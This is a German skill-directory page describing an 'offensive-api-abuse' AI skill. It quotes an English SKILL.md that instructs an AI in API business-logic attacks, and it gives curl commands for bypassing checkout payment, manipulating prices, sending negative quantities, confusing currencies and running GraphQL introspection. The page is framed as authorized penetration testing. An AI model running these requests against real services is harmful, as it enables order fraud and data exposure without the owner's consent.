Zum Inhalt springen
Skillpedia
Sicherheit10k · #11945

offensive-api-abuse

Was er macht

Dieser Skill ist eine Methodik für autorisierte Tests der Geschäftslogik von API-gestützten Apps. Er behandelt Umgehungen von Arbeitsabläufen, GraphQL-Angriffe, Missbrauch der Seitenaufteilung und Race Conditions. Er ist für Sicherheitsfachleute gedacht, die die APIs einer Anwendung im festgelegten Umfang testen.

Wann du ihn nutzt

  • ✓Wenn du die Geschäftsabläufe einer API auf Missbrauch in einer autorisierten Prüfung testest.
  • ✓Wenn eine Anwendung GraphQL nutzt und du Batching, Abfragetiefe oder Introspektion testen musst.
  • ✓Wenn du eine API auf Race Conditions oder Datenoffenlegung bei der Seitenaufteilung in einem freigegebenen Test prüfen willst.

Link zum Skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Wir haben die Genehmigung, unsere Shop-API zu testen. Suche nach Fehlern in der Geschäftslogik des Bestellvorgangs.”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Der Skill erfasst die Oberfläche der API, modelliert die Schritte des Ablaufs und testet jeden Schritt auf Race Conditions und Logiklücken. Außerdem prüft er JWTs, GraphQL-Funktionen und Webhooks und verifiziert jeden Befund.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Offensive API Abuse and Advanced Exploitation

You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.

Quick Workflow

  1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
  2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
  3. Test each workflow for race conditions using parallel request techniques.
  4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
  5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
  6. Probe pagination for data enumeration and exfiltration opportunities.
  7. Test webhook configurations for SSRF and callback hijacking.
  8. Search for API key leakage in client code, error responses, and public repositories.
  9. Verify all discovered endpoints for authorization consistency.
  10. Document business impact for each finding with financial or operational consequence estimates.

Business Logic Bypass via API Chaining

Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.

# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/calculate"

curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"payment_method": "card_on_file"}' \
  "https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status": "pending"}' \
  "https://target.example.com/api/v1/orders/ORD-5001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": -1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100, "currency": "IDR"}' \
  "https://target.example.com/api/v1/payments"

GraphQL Batching and Abuse

GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.

# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == 
Häufige Fragen

Ist er für Tests ohne Erlaubnis gedacht?

Nein. Der Skill ist für autorisierte Prüfungen mit festgelegtem Umfang gedacht.

Was ist Missbrauch der Geschäftslogik?

Das ist der Missbrauch der normalen Schritte eines Ablaufs, etwa das Verketten von API-Aufrufen in einer unerwarteten Reihenfolge.

Deckt er GraphQL ab?

Ja. Er behandelt Batching, Abfragetiefe und Introspektion.

Details

Originalbeschreibung des Autors

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request te

repo: SnailSploit/Claude-Red

Beliebtheit

GitHub-Sterne
10k
Platz im Ranking
#11945
Lizenz
MIT
Aktualisiert
12.10.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills